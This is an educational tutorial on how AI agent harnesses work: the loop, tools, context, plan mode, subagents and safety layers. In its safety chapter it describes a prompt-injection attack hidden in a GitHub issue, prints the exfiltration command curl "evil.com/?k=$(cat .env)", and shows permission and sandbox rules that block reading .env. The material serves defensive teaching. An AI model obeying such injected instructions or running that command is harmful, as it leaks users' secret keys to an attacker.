Ask a model to fix a bug and it writes a neat paragraph, then nothing runs. An agent is a model plus a harness, the code that runs its loop. Same model, nine harnesses: 58.0% to 76.4% on Terminal-Bench. Then we ask when more agents help.
Learn how an agent is built around a language model, why that code decides so much, and when a team of agents beats one.
Pick a harness, then press Run the agent. The same model runs the same job each time. Watch which steps the harness catches and which ones end the run. Then we build, piece by piece, the loop, the tools, the context, the safety rules and the teams.
You need a rough idea of what a language model does (it reads text and writes the next text) and a little Python for the code. We build the rest from zero.
Based on Week 6 (10/14) of MIT MAS.S62 How to AI an AI for (Almost) Anything (Fall 2026, MIT Multisensory Intelligence group): the harness engineering tutorial by Ao Qu (slides) and Lecture 5, multi-agent evolution, by Paul Liang (slides). Every idea is re-taught here in our own words and devices.
Illustrative toy: the job is the fix for a username validator that lets a trailing newline through (the lecture’s django-11099 example). The mistakes (two commands in one reply, a command that never returns, a huge log) are the kinds the lecture names; where each one lands is made up. The only measured numbers on this page are the lecture’s: 58.0% to 76.4% (Terminal-Bench, slide 3) and 24 steps at $0.19 for the real run (slide 14).
Chapter 0
See which parts of an agent are the model and which are ordinary code, and why the ordinary code moves the score
You ask a language model to fix a bug in a code repository. It answers with a neat paragraph: “Open validators.py and change the pattern.” Then nothing happens. The model cannot open a file. It has no hands. All it can do is write text.
So somebody has to read that text, notice it is a request, run it, and give the result back. That somebody is plain code. It is the first thing every agent needs, and it is the subject of this lesson.
Week 6 of MIT’s course How to AI an AI for (Almost) Anything opens with this idea and gives it one line: Agent = Model + Harness. The model is the language model, the part that reads text and writes text. The harness is all the code around it. The lecture draws the harness as a frame with four parts around the model: the context (what the model reads), the tools (what it can do), the control loop (what runs it again and again), and safety (what stops it from doing harm).
It is easy to think the model does all the work. The lecture gives two numbers against that. On Terminal-Bench, a test of command-line jobs, the same model scored 58.0% under the weakest of nine harnesses and 76.4% under the best (slide 3). A second study, HarnessTax, found that the same model with different coding harnesses reached about the same success, but one cost twice as much (slide 4).
So the harness changes two things you care about: how often the job gets done, and what it costs. This whole lesson is about building that frame well. The second half asks when you should build several of them and let them work together.
An agent loop is the cycle that turns a model into an agent. It comes from a 2023 paper called ReAct (Yao et al.), which stands for reasoning plus acting. Think of a cook following a recipe app. The cook reads the next step, does it, looks at the pot, and reads again. The loop has the same rhythm.
The lecture sorts the loop into two owners. The model writes a Thought (what it plans), an Action (a request such as “run this command”) and, at the end, an Answer. The harness runs the Tool that the action names, then returns the Observation (what the tool printed) and goes round again. If the reply holds no action, the loop stops and that reply is the answer. Click each part below and see who owns it.
The loop runs clockwise. Blue parts are the harness, warm parts are the model. Click a part to see what it does. Then press Quiz me and name the owner of each part.
The split is the lecture’s (slide 5): the model writes Thought, Action and Answer; the harness runs the Tool, returns the Observation and loops. The Task box belongs to you, the user.
Here is the whole idea as code. It is the lecture’s own sketch (slide 6), with each line tagged by its owner. It really is this small.
pythonmessages = [{"role": "system", "content": SYSTEM}, {"role": "user", "content": task}] while True: reply = llm(messages) # MODEL: Thought + Action (text in, text out) messages.append({"role": "assistant", "content": reply}) action = parse_action(reply) # HARNESS: find the action in the text if action is None: # no action means the reply is the Answer return reply output = execute(action) # HARNESS: run the Tool messages.append({"role": "user", "content": output}) # Observation goes into the context
Look at the data. The input to llm is a list of messages, each a role and a string. The output is one string. Nothing else crosses the line between model and harness. The model never sees your disk. It sees only the strings the harness chooses to append.
Now follow one turn. The model replies with a thought and a command: find /testbed -name validators.py. The harness finds the command, runs it, and gets one line of output. That line becomes a new user message. The next call to llm sees the whole list again, now two messages longer.
That last sentence hides a cost. The model keeps no memory between calls. To make it “remember”, the harness sends the entire list every time. The lecture shows the same thing for Codex, OpenAI’s coding agent: one turn (one request from you) holds many model calls, until a call makes no tool request, and on the next turn the whole history goes back in (slide 7).
Put numbers on it. Say the start of the list (the system rules and your task) is B tokens, and each step adds a tokens. A token is a small piece of text, about three quarters of a word. At step number i the model reads B + i·a tokens. Add them up over n steps and you get the total the model has read.
B = 2,000, a = 900, n = 10: R = 10 × 2,000 + 900 × 45 = 20,000 + 40,500 = 60,500 tokens (illustrative)
Ten steps added only 9,000 new tokens, yet the model read 60,500. The growth term is squared in n. This is why a harness spends so much effort on keeping the history short, which Chapter 4 covers. Drag the steps below and watch the gap open.
Warm: tokens the agent has written or received so far. Yellow: tokens the model has read in total, because it re-reads everything at each step. Drag the steps.
Illustrative: a 2,000-token start (B) and 900 new tokens per step (a). The formula is exact for that setup. Real harnesses use a prompt cache (Chapter 4) so most of the repeated reading is billed at a small fraction of the full price.
One more detail from the lecture. Before you type a word, the Codex model already holds about 47,000 tokens of instructions: its tool list, its rules, and files such as AGENTS.md (slide 8). The repository itself is not in that prompt. The model has to read it with tools. A harness is mostly a way to decide, step by step, what the model gets to see.
Week 6 has two decks. The first, by Ao Qu, builds a harness piece by piece. The second, by Paul Liang, asks when to use many agents and how to evolve them. We follow both in order.
Chapter 1
Read a complete coding agent line by line and see how each guard turns a crash into a message the model can fix
Imagine you have to build the loop from Chapter 0 for real. You write the while loop, point it at a model, and start a job. Within ten minutes something goes wrong. The model sends two commands in one reply. Or it starts a web server, and the command never returns. Or it prints a log with forty thousand lines.
The lecture studies a real harness that has met all of these: mini-swe-agent, an open-source coding agent of about 100 lines. Its rules are plain. Bash is the only tool. The history is one straight list. Every action runs in its own subprocess. And it still solves more than 74% of SWE-bench Verified, a test of real GitHub bug fixes (slide 9). Small does not mean weak. It means every line has a job.
Start with query(), the method that calls the model (slide 10). Before each call it checks two counters: how many calls were made, and how much money was spent. If either passes its limit, it raises LimitsExceeded, and the run ends.
Why check before every call? An agent that never says “I am done” would loop forever, and every loop costs money. The limit is a budget: a number the harness enforces, because the model will not enforce it itself.
Next, parse_action(). The harness tells the model to put its command in a fenced block marked bash. The code finds blocks with a regular expression (a pattern that matches text, here the text between the fences). If it finds anything other than exactly one block, it raises FormatError.
Now the clever part. That error is not shown to a human. It becomes the next message to the model: “You must give exactly one command.” Models sometimes send no command or several. When the correction comes back as a message, the model fixes its own format on the next try (slide 10). The harness never needs to guess what the model meant.
Then execute_action() (slide 11). It hands the command to the operating system with subprocess.run(command, shell=True, timeout=30, ...). If the command is still running after 30 seconds, the harness kills it and raises ExecutionTimeoutError. The model hears “that took too long, try something else.” Starting a server is the classic case: it never returns, so only the clock stops it.
The lecture also asks why each action gets a fresh subprocess.run instead of one shell kept open. With one long shell, the harness must guess when a command’s output is finished, and one broken command can spoil every later step. A fresh process returns when the command exits, with its output and exit code. The price: cd and export do not carry over, so the model learns to write cd src && pytest.
The command’s output returns through a template (slide 12). The model sees the return code (0 means success) and the output. If the output is under 10,000 characters it is shown whole. If it is longer, the harness shows the first 5,000 characters, the last 5,000, a note saying how many were cut, and a hint: try head, tail or a narrower grep.
The start of a log usually says what ran. The end usually says how it failed. The middle is mostly noise, and it would flood the context. When the job is done, the model does not call a special tool. It prints one magic line, echo COMPLETE_TASK_AND_SUBMIT_FINAL_OUTPUT, and the harness recognises it and stops.
Try each mistake yourself. Choose a mistake, then flip the guards on and off, and watch what the harness does with the same model reply.
Top row: what the model did. Middle: what the harness did. Bottom: what the model reads next. Pick a mistake and switch the guards.
The guard behaviours are mini-swe-agent’s (slides 10 to 12): exactly-one-block check, 30 s timeout, 5,000-character head and tail, step and cost limits. The unguarded outcomes are what a loop without those lines would do. The 40,000-character log and the token counts (about 4 characters per token) are illustrative.
Look at how run() ties it together (slide 13). Every guard raises an exception. There are two families. A non-terminating exception, such as a format error or a timeout, is recoverable: run() catches it and appends its text as a user message, and the loop continues. A terminating exception, such as a submit or a limit, ends the run and returns its name and message.
Why exceptions and not returned error codes? Because errors begin deep inside query, parse_action and execute_action. One place, run(), decides what each kind means. Four lines of handling cover every case.
The lecture then runs the agent on a real task, django-11099: a username validator that accepts a name with a trailing newline (slide 14). The cause is a small detail of regular expressions. The pattern ^...$ also matches just before a final newline. The fix is \A...\Z. The model, Claude Sonnet 4.5, found the file with find, reproduced the bug, edited with sed, ran the tests, and submitted after 24 steps for $0.19. The hidden tests passed.
A last variant puts you in the loop (slide 15). The InteractiveAgent subclass asks “Execute?” before each command. Press Enter and the command runs. Type a comment instead, and it becomes a non-terminating exception: “Command not executed. The user rejected your command with the following message”. In the lecture’s example the model tried pip install -U django, the user answered “don’t upgrade Django, fix the validator”, and the model changed course. A person is just another source of messages.
Chapter 2
Learn why a tool’s description, its count and its output shape matter as much as the code behind it
Picture two new colleagues. The first gets a workshop with seventeen drawers, each labelled in a different style, and several that hold nearly the same tool. The second gets two drawers, clearly named. Both are clever. Who finishes the job faster?
The lecture answers with a real case. Vercel built a text-to-SQL agent (it turns a question into a database query) with 17 tools. Then they cut it to 2 (slide 20). Success went from 4 of 5 runs to 5 of 5. The average time fell from 274.8 s to 77.4 s, tokens from about 102k to about 61k, and steps from about 12 to about 7. Fewer tools, no overlap, better results.
A tool is a function the harness offers to the model. The model never runs it. It only asks. Three messages make one tool call (slide 18). First the harness sends a schema: a name, a description and the input fields, written as JSON (a plain text format for structured data, with names and values). Then the model replies with a tool_use block that names a tool and fills in the fields. Then the harness runs the function and sends back a tool_result.
json// 1. schema, sent with the request {"name": "get_weather", "description": "Get the current weather in a given location", "input_schema": {"type": "object", "properties": {"location": {"type": "string"}}, "required": ["location"]}} // 2. model output {"type": "tool_use", "id": "toolu_01A", "name": "get_weather", "input": {"location": "San Francisco, CA"}} // 3. the harness runs it and answers with the same id {"type": "tool_result", "tool_use_id": "toolu_01A", "content": "15 degrees"}
Read that first block again as the model does. It sees three things: the name, the description and the schema. That is all it knows about the tool. So the lecture’s sharpest line is: the description is a prompt. Every word in it steers the model.
Anthropic’s own team showed this on SWE-bench (slide 19). Their file-edit tool had a long description with rules such as: the old_str field must match the file exactly, whitespace included, and if it is not unique the edit will not run, so add enough context to make it unique. Claude 3.5 Sonnet reached 49% on SWE-bench Verified, up from a previous best of 45%. Anthropic said it got there after making precise refinements to its tool descriptions. (The gain came with other changes too, so read it as a hint, not a controlled test.)
The must-have tools look alike across harnesses (slide 16): Read, Search (files by name, text in files), Edit, Execute, Web, Plan, Delegate and Ask user. Claude Code and Codex name them differently, and even the edit tool takes a different shape (slide 17). One task, three forms: Claude Code’s Edit takes the old string and the new string. Codex’s apply_patch takes a diff. mini-swe-agent writes a sed command in bash. Each form has its own failure modes.
A tool that is good for you can be bad for a model. The SWE-agent paper (Yang et al., NeurIPS 2024) tested three ways to search a repository (slide 23). Scores are the share of SWE-bench Lite issues solved with GPT-4 Turbo. Explore the three below, and the other two experiments from the lecture.
Pick an experiment. Each pair or trio of bars shows the same agent with a different tool design.
All numbers are the lecture’s. Search: % of SWE-bench Lite issues resolved with GPT-4 Turbo, SWE-agent Table 3 and Figure 5 (slide 23). Count: Vercel’s text-to-SQL agent, average of the lecture’s runs (slide 20). Output: the same Slack search tool called with a detailed or a concise response format (slide 24).
The surprise is the middle bar. “Iterative search” copies an editor’s Ctrl+F: one match at a time, then next. It scores below no search at all, because the agent keeps calling next through every match until it runs out of budget or context. “Summarized search” lists every match in one result, and asks for a narrower query if there are over 50. It scored best at 18.0%.
Two more rules come from Anthropic’s tool-writing guide (slide 24). First, let the agent choose the detail level: a responseFormat field that is “detailed” (206 tokens for one result) or “concise” (72 tokens). Second, make errors say what to do next. The unhelpful error is {"status": 422, "message": "Invalid value"}. The helpful one names the bad field, lists valid values, and tells the model which tool resolves a user ID.
Every tool schema costs tokens. A plug-in server for GitHub holds 35 tools, about 26k tokens. Add Slack, Sentry, Grafana and Splunk and you have 58 tools using about 55k tokens before the first message (slide 21). Anthropic’s fix is the Tool Search Tool. Most tools are marked deferred. The model gets one small search tool, asks for what it needs, and only the 3 to 5 matching schemas load (slide 22). Flip it below.
The bar is a 200,000-token context window. Switch the loading style and see how much room is left for the actual work.
Numbers from Anthropic’s advanced tool use post, which the lecture cites (slide 21): about 72k tokens of tool definitions for 50+ tools and about 77k in total before any work; with tool search about 3k for 3 to 5 tools and about 8.7k in total. The post reports an 85% cut in tokens and, on its MCP evaluations, Opus 4 going from 49% to 74% and Opus 4.5 from 79.5% to 88.1%.
The lecture ends the section with a fair fight (slide 25). Bash and code have the best reach: mini-swe-agent scores 74.4% with bash only, and the CodeAct paper found actions written as code solve 74.4% against 52.4% for JSON tool calls. Cloudflare puts it well: language models have seen a lot of code and not much of “tool calls”. Dedicated tools give guarantees bash cannot: Read and Grep run without asking while Bash asks; read-only tools can run in parallel; Edit fails if the match is found zero or two times, while sed exits 0 either way; and a rewind undoes Edit but not rm or mv. The answer: bash for breadth, tools for guarantees.
Chapter 3
Choose among four ways to extend a harness by asking who triggers each one and what it costs in context
Your coding agent works. Now your team wants more. Always run the formatter after an edit. Follow the code-review checklist. Read tickets from the issue tracker. Never touch the secrets/ folder. Where does each wish go?
It is tempting to paste every wish into the system prompt. That fails twice: the prompt grows, and a prompt is only a request, not a rule. The lecture lays out four extension points, and the difference between them comes down to two questions (slide 26). Who triggers it? And how much context does it cost when idle?
A skill is a folder of instructions for one kind of job (slide 27). The folder holds a required file, SKILL.md, and optional scripts/, references/ and assets/. The file starts with a short header called frontmatter: a name (up to 64 characters, lowercase letters and hyphens, the same as the folder) and a description (up to 1,024 characters, saying what the skill does and when to use it). Below the header comes the full guide.
markdown--- name: pdf description: Comprehensive PDF toolkit for extracting text and tables, merging/splitting documents, and filling out forms. --- ## Overview This guide covers essential PDF processing operations ... For advanced features see ./reference.md. If you need to fill out a PDF form, read ./forms.md and follow its instructions.
Why this layout? Progressive disclosure, which Anthropic calls the core design principle of skills (slide 28). Think of a library.
The catalogue card (name and description) is always at hand. The book (the SKILL.md body) comes off the shelf only when you need it. The appendix (bundled files and scripts) is fetched only if the book points to it. In numbers: level 1 costs about 100 tokens per skill and is always loaded. Level 2 loads when the skill triggers, and stays under about 5,000 tokens. Level 3 is read when needed and costs nothing until then.
One open standard covers it: Claude Code, Codex, Gemini CLI, GitHub Copilot and Cursor read the same SKILL.md.
Drag the number of installed skills. Then trigger one and see what loads.
The 100 tokens per skill and the 5,000-token ceiling for a triggered body are the lecture’s (slide 28). Real skills vary. Level 3 files cost nothing until a step reads them, so the bar shows zero for them.
What goes wrong? Picture an agent with 80 skills whose descriptions all begin “Helps with documents.” The symptom: the wrong skill triggers, or none does. The measurement: log which skill the model chose for ten test requests and compare with the one you wanted. The fix: rewrite each description to say what the skill does and when to use it, as the lecture’s format demands, and trim the skills that nobody triggers. The header is the only part the model sees when it chooses, so it must carry the choice.
A skill tells the model how to do something. The Model Context Protocol (MCP) gives it new reach: a standard way for a harness to talk to outside tools such as a calendar, a database or an error tracker. A remote server needs no local code. One command, claude mcp add --transport http notion https://mcp.notion.com/mcp, and Claude Code connects to the URL (slide 29).
Three roles keep it clear (slide 31). The host is the app where the agent runs, such as Claude Code, Codex or VS Code. It makes one client for each server. A server is a program that offers tools, resources and prompts, local or remote. Messages travel as JSON-RPC (a plain format for “call this method with these arguments”), over standard input and output for local servers or over HTTP for remote ones.
Two messages do nearly all the work (slide 32). First the client asks tools/list and the server answers with each tool’s name, description and input schema. That is exactly the schema from Chapter 2. Then, when the model picks one, the client sends tools/call with the name and arguments, and the server returns the result.
json// client to server: discover {"jsonrpc": "2.0", "id": 2, "method": "tools/list"} // client to server: call {"jsonrpc": "2.0", "id": 3, "method": "tools/call", "params": {"name": "get_forecast", "arguments": {"latitude": 38.58, "longitude": -121.49}}}
Why a standard? Count connectors. Say five hosts want to reach eight services. Without a standard that is 5 × 8 = 40 custom connectors. With MCP each host implements MCP once and each server implements it once: 5 + 8 = 13. The lecture states the same point: implement it once instead of one connector for every pair. (Our MCP lesson builds a server from zero.)
A hook is your own code that the harness runs at fixed moments, called lifecycle events (slide 33): SessionStart, PreToolUse, PostToolUse and Stop. The key word is always. The harness triggers a hook, not the model, and it adds zero tokens to the context. A PreToolUse hook can look at a tool call before it runs and block it. A PostToolUse hook can format the file after every edit. A prompt asks the model to behave. A hook makes it so.
A plugin bundles the other three (slide 34). It is a folder with a .claude-plugin/plugin.json file, where only name is required, plus skills, hooks and server configs. Install it with /plugin marketplace add owner/repo then /plugin install my-plugin@my-marketplace. Its context cost is the sum of its parts.
One more neighbour: CLAUDE.md or AGENTS.md, a file that is always loaded and never enforced. Good for “always use uv, not pip”. A request, not a lock. Now sort six wishes yourself, as in the lecture’s Q&A (slide 35).
Read the wish. Pick the mechanism that fits best.
The six wishes and their answers are the lecture’s Q&A (slide 35). A deny rule plus a sandbox is the other way to block a folder (Chapter 6).
Chapter 4
Learn why more context can make an agent worse, how a prompt cache cuts the bill, and five ways to keep the window small
You are packing a bag for a long trip. You could throw in everything you own. The bag would be heavy, you could not find the passport, and you would still forget the charger. Good packers choose.
An agent packs a bag too. The context window is the most text the model can read in one call. It is finite, and it holds the system rules, the tool schemas, the memory files and the whole history from Chapter 0. The lecture says it in one line: context is a finite resource (slide 36). The goal is the smallest set of high-signal tokens.
It is natural to think that a model which fits 200,000 tokens can use all 200,000 well. The lecture shows otherwise. A Chroma study called Context Rot (Hong et al., 2025) gave models the same question in two forms: a focused one of about 300 tokens and a full one of about 113,000 tokens. Every model they tested scored lower on the full one. Context rot is that decay: the more text you stuff in, the worse the model finds the point.
So the harness must do two jobs. It must keep the window small and sharp (the second half of this chapter). And it must make the unavoidable large part cheap (the first half).
Recall Chapter 0. At every step the model re-reads the entire history. Most of it is the same as last step. A prompt cache stores the work the provider already did on a prefix of the prompt, so that the next call with the same prefix skips it. Cached input costs about 0.1× the normal price (slide 37). That is a tenfold discount on the part that repeats.
There is one catch, and it drives three rules. The cache matches the exact beginning of the prompt, token by token. The first changed token breaks it, and everything after that point must be paid for again at full price. Hence the lecture’s rules: static first (put what never changes at the top), append, do not edit (never rewrite earlier messages), and keep a stable tool order (a tool list that shuffles is a changed prefix).
Work one example with illustrative sizes. The system rules and tools take 12k tokens, the memory files 3k, and three earlier turns 4k each (12k). The prefix is 27k tokens. On the next call you add one new message of 1.5k tokens.
Cache hit: 27,000 × 0.1 + 1,500 × 1 = 2,700 + 1,500 = 4,200 units. No cache: 28,500 units. (illustrative)
The hit costs about one seventh of the miss. Now break it. Put the current time at the top of the system prompt, such as “Now: 14:03:07”. It changes every call. The very first tokens differ, so nothing matches and all 28,500 units return. The lecture asks three questions about this, and you can play all three below (slide 37).
The row shows one prompt as blocks. Green blocks are reused from the cache at 0.1 price. Yellow blocks are paid at full price. Choose what changes before the next call.
The three questions and their answers are the lecture’s (slide 37): a timestamp at the top misses every call, a tool added mid-session misses from the tools on, and a new user message is appended so it hits. The block sizes (12k, 3k, three turns of 4k, a 1.5k message) are illustrative. The 0.1× price for cached input is the lecture’s.
The answers match the three rules. A timestamp at the top misses on every call. A tool added mid-session misses from the tools onward, which is why a harness defers tool loading rather than editing the list (Chapter 2). A new user message is appended after the cached prefix, so it hits.
Caching makes the big part cheap. Shrinking makes it better. The lecture lists five tactics, from lightest to heaviest (slide 38).
Make masking concrete. Step 5 ran the tests and printed 4,000 tokens of output. By step 12 the model has moved on, and that output is dead weight. Masking swaps it for one line, such as [output of step 5 omitted], and keeps the model’s own thought and action from that step. The window drops by about 4,000 tokens, and if the model needs the log again it can run the command again. Summarizing does a similar job with a model call, which costs money and can drop a detail you needed.
Which one wins? A paper called The Complexity Trap (Lindenbauer et al., NeurIPS 2025 workshop) compared simple observation masking with LLM summarization for agent context. Masking matched summarization in solve rate at about half the cost (slide 38). A trick that needs no model can beat one that does. Both can also break the prompt cache, so a harness has to pay for a rewrite once and then append again.
Chapter 5
See how a harness keeps an agent on track with a plan file, remembers with files, and hands reading to helpers
You ask an agent to change how usernames are checked in a large project. It dives in at once, edits three files, then finds out the real fix lives somewhere else. An hour of work is wasted. A careful engineer would first read the code, write a plan, show it to you, and only then edit.
A harness can force that habit. This chapter covers three tools for staying on track over a long job: plan mode, memory files and subagents. All three are harness features, not model features. The model is the same. The rules around it change.
In Claude Code you press Shift+Tab or type /plan. The work then moves through four stages (slide 39): Explore (read only), Plan (write the plan file), Approve (you decide) and Execute (edits allowed). What did the harness change? Three things. The prompt gains one more instruction: research and propose, do not edit. The permissions block edits and ask for approval on shell commands beyond a read-only set. The tools gain EnterPlanMode to switch in and ExitPlanMode, which shows the plan and asks you to approve.
The lecture asks: is plan mode a different harness, or a different model? Neither. Same model, same loop. The harness only switches state: one more instruction, blocked edits, and a tool to ask for approval.
Where does the plan live? In a file, such as ~/.claude/plans/<plan>.md (slide 40). For our username bug it reads like this.
markdown# Fix: usernames with a trailing newline pass validation ## Context `^...$` also matches before a final newline; use `\A...\Z`. ## Steps 1. Change the regex in ASCIIUsernameValidator and UnicodeUsernameValidator (django/contrib/auth/validators.py) 2. Add a test for "user\n" to the auth validator tests 3. Run the auth validator tests ## Not doing Changing other validators
Why a file and not just a message? Because conversations get compacted or cleared (Chapter 4). A file survives. After a compaction, Claude Code puts the plan back from disk, and the model can re-read it whenever it needs. You can read it, or press Ctrl+G to edit it, before you approve. While in plan mode, only this file is writable. Your source stays read-only.
The model forgets everything between sessions. So how does an agent “remember”? The lecture’s answer is blunt: memory = files the harness reloads (slide 41). Two kinds. CLAUDE.md is a file you write, loaded into every session. Auto memory is a folder the model writes itself, under ~/.claude/projects/<project>/memory/, with an index file MEMORY.md and one file per note. The slide shows a real note the model saved while the lecture was made: the user prefers lecture slides with little text and primary-source figures, with a Why and a How to apply. At the next session the harness loads the index, and the model reads the notes it needs. No new weights, only files.
Sometimes a job needs lots of reading. If the main agent reads thirty files, thirty files of text pile up in its window. A subagent fixes that. It is a second model call, with a fresh context, that does the reading and returns only its result (slide 42). The lecture’s example: a subagent read 6,100 tokens and returned 420. The main window grew by 420, not 6,100. Try it with a slider.
Drag how many files must be read. The warm bar is what lands in the main agent’s window. The purple bar is what the helper reads in its own window.
Anchored on the lecture’s one example (slide 42): about 6,100 tokens read and 420 returned. We scale it linearly: about 1,017 tokens read per file and about 70 returned per file. Real files and summaries vary a lot.
An agent team goes one step further: several agents share a task list and message each other. We return to teams in Chapter 8.
Subagents tempt you to split everything. The lecture gives two real cases that point opposite ways (slide 43). Anthropic’s research system uses a lead agent that sends subagents to search in parallel. Their findings come back, and it beat a single agent by 90.2%, at about 15 times the tokens of a chat. The parts were independent reads.
The counter-case comes from Cognition, who wrote about “Build Flappy Bird”. One subagent made a Super Mario style background. The other drew a bird in a different style. Neither saw the other’s choices, and the two pieces did not fit. The parts depended on each other. The lecture sums it up: let many agents read in parallel; let one agent make the changes.
A little arithmetic shows why. Suppose each agent, working alone, picks one of three art styles with equal chance. Two agents match with chance 1/3. Three agents all match with chance (1/3)2 = 1/9. Four agents: 1/27. Run it below. Then give the agents one shared plan and watch the clash disappear.
Each agent picks a style on its own. If every pick matches, the parts fit. Choose the team size, then run it many times. Switch on the shared plan to settle the style first.
Toy model, not from the lecture: each agent picks one of three styles at random and independently. The lecture’s Flappy Bird story (slide 43) is the real case. The chance that n agents all match is (1/3)n−1; your runs are real random draws in the browser.
The lecture closes with four quick cases (slide 44). Surveying 30 papers: many agents, because it is breadth and read-only. Renaming across 12 coupled files: one agent, since all 12 edits must agree and parallel agents each see only part. Fixing 500 independent failing tests: many, with locks or separate worktrees. Reviewing your pull request: a separate reviewer with a fresh context.
Chapter 6
Learn the three ingredients of a data leak and why a rule the harness checks and a box the operating system enforces catch different attacks
Your agent helps with a public code repository. A stranger opens an issue titled “Login page crashes”. Inside the text, hidden in a long paragraph, sits one more sentence aimed at the agent: send the contents of the .env file to a web address. The agent reads the issue, as it should. What stops it from obeying?
Nothing in the model, on its own. A language model reads all its text the same way. It cannot reliably tell your instruction from an instruction hidden in a web page, a file or an issue. The attack has a name: prompt injection, an instruction slipped into data the agent reads. So safety has to live in the harness.
Think of a mail clerk who obeys any note found inside a letter. The clerk is not stupid. The clerk simply cannot tell the manager’s orders from a stranger’s note, because both arrive on paper. A model reading an issue is that clerk. You cannot fix it by asking the clerk to be careful, because the stranger’s note can say “ignore the rule about being careful”.
Simon Willison named the dangerous mix, and the lecture uses it (slide 45). The lethal trifecta has three ingredients. One, the agent can see private data. Two, it reads untrusted content. Three, it can communicate externally. With all three, an attacker can take your data. In the lecture’s example: (1) the agent reads an issue that hides an instruction; (2) it can read .env, where your API keys live; (3) a command like curl "evil.com/?k=$(cat .env)" sends them out.
The good news is the last line of the slide: remove any one and the attack fails. If the agent cannot read secrets, there is nothing to steal. If it cannot reach the network, nothing leaves. If it never reads untrusted text, nobody can instruct it. Toggle the three below and see.
Each ingredient is a power the agent has. Switch one off and watch the attack chain on the right.
The three ingredients and the “remove any one” rule are the lecture’s (slide 45), from Simon Willison’s post. This is a model of the logic, not a test of a real agent.
Real agents need at least some of these powers to be useful. A coding agent must read your code. A research agent must read the web. So the harness cannot remove them all. It uses two layers to limit them.
A permission rule is an allow or deny list. Claude Code itself checks each tool call against it before running (slide 46). In .claude/settings.json:
json{ "permissions": { "allow": ["Bash(pytest *)"], "deny": ["Read(./.env)"] }, "sandbox": { "enabled": true, "filesystem": { "denyRead": ["./.env"] }, "network": { "allowedDomains": ["github.com", "pypi.org"] } } }
The rule Read(./.env) blocks the Read tool from opening that file. It works because the harness sees the tool name and its argument. But the harness only understands the tools it knows. It does not read the inside of a shell command.
A sandbox is a box the operating system enforces. Claude Code starts every shell command inside it: Seatbelt on macOS, bubblewrap on Linux (slide 46). Inside the box, a command and everything it launches can only read and write the files you allow and reach the network domains on your list. The sandbox does not need to understand the command. It checks the file and the domain at the moment of access.
Now the lecture’s grid, which shows why you want both. Take one secret file and three ways to read it, and flip each layer on and off.
Pick how the agent tries to read .env. Switch the layers and see whether the attempt is blocked or gets through.
The grid is the lecture’s (slide 46), with the rule Read(./.env) and the sandbox setting denyRead for ./.env. The Read tool is not a shell command, so the sandbox, which wraps shell commands, does not see it. The rule cannot tell that a Python snippet reads the file.
Read the grid. The rule stops the Read tool and a plain cat, but not a Python one-liner that opens the file, because it cannot tell what Python will do. The sandbox stops cat and Python, but not the Read tool, because that tool is not a shell command. Each layer covers the other’s hole. This is defense in depth.
Hooks from Chapter 3 add a third layer: a PreToolUse hook can refuse any call by your own code. And the sandbox’s domain list is what removes the third trifecta ingredient: with only github.com and pypi.org allowed, a curl to a stranger’s server cannot connect.
Here is how to audit your own agent in three steps. First, list what it can read: does that include secrets, keys or customer data? Second, list what it can read that a stranger can write: issues, web pages, emails, shared documents. Third, list how it can send data out: network calls, a browser, a message tool. If all three lists are non-empty, you have the trifecta. The symptom you would see in a log is a call to a domain you never chose. The measurement is the three lists. The fix is to empty one of them, and the cheapest is usually the third: allow only the few domains the job needs.
Read(./.env) in the permission rules and do nothing else. Which attempt can still read the file?Chapter 7
Learn when a plan helps an agent, how a plan is written down, and when the agent should ask, sample or replan
The second deck of the week, by Paul Liang, starts with a recap. A harness is the code around the model that manages its context and execution flow. The lecture sorts it into five jobs: context (prompt, memory, retrieved facts), control (planning, routing, orchestration), action (tools, skills, APIs, environments), evaluation (verification, safety, human feedback) and evolution (reflection, update, learning). The last one is where this lesson heads. First, control.
You tell a household robot: “Cook a potato and put the wrapper in the recycle bin.” Before it moves, it needs a plan: an ordered list of smaller steps. Breaking a big job into steps is task decomposition. The lecture asks three questions about it (slide 8). When is planning useful, and when can it hurt? How do we write a plan down? When do we make a plan, and when should we change it?
The cheapest planner is a prompt. Chain-of-thought prompting (Wei et al., 2022) asks the model to write its reasoning steps before the answer. Least-to-most prompting (Zhou et al., 2023) goes further: split the problem into easier sub-problems and solve them in order, each using the last answer. Both let you separate a planner from an executor, and use a specialised model for each (slide 10).
The lecture is careful about the limit. Prompt-based planning works when the situation is text-only, has no actions, and can be undone. If a plan acts on the world, changes the agent’s own state, or cannot be reversed, you must plan and re-plan. A wrong sentence in a chain of thought costs nothing. A wrong click that deletes a file does.
Big models plan well but are clumsy with exact screen coordinates. Gou et al. (ICLR 2025) split the job for GUI agents (slide 11). A large, visually grounded planner writes the plan in words. A separate small 7B model, trained for the purpose, maps each planned step to exact coordinates on the screen. Each part does the job it is good at.
Web agents use the same shape (slide 12). WebArena-style agents run three stages: high-level planning (the objective becomes a plan), observation parsing (the page becomes an accessibility tree, the page’s buttons and text as a list, plus an image) and low-level action generation (TYPE, CLICK, HOVER, STOP). The plan is a short text; the actions are exact.
Plans can be ambiguous. The lecture’s web example: “What is the price range of wireless earphones in the One Stop Market?” A zero-shot plan (the model gets no examples) says: search for the earphones, find the first one, read its price. That is too ambiguous, because a range needs the lowest and the highest price, which means sorting the list both ways. A few-shot plan (the model gets a few worked examples first) forgets to sort. After the person clarifies, later plans come out right: sort from low to high, read the first item, sort from high to low, read the first item, report the range (slide 13). A short question beats a long wrong run.
How does an agent know it is unsure? One way is to sample. Ding et al.’s Calibrate-then-Act (2026) samples the high-level plan several times and treats disagreement as uncertainty (slide 15). If five plans nearly all agree, act. If they scatter, ask or look more. Try it with a slider.
The planner writes one of three plans each time. Sample it several times. If one plan holds at least the share you set, act. Otherwise ask.
Toy planner, not from the lecture: plan A (sort the price list both ways) has 55% chance, plan B (read the first price only) 30%, plan C (skip sorting) 15%. The draws are real random draws in your browser. The idea of sampling plans to measure uncertainty is Calibrate-then-Act (slide 15).
Prompting a planner has limits, so Erdogan et al. (Plan-and-Act, ICML 2025) train one (slide 14). A strong teacher model writes synthetic plans for many tasks. Then a planner model and an executor model are each fine-tuned on that data with supervised learning. The planner learns to write good high-level steps. The executor learns to turn each step into actions.
Plans meet surprises. LLM-Planner (Song et al., ICCV 2023) shows the loop for a robot in a house (slide 16): plan, act, observe the feedback, and plan again in response to new information or failure. In the lecture’s picture the robot reports “I cannot find a potato, I saw a fridge,” and the next plan changes to look in the fridge. The main challenge the slide names is that real actions can be unsafe or irreversible. Step through the same idea.
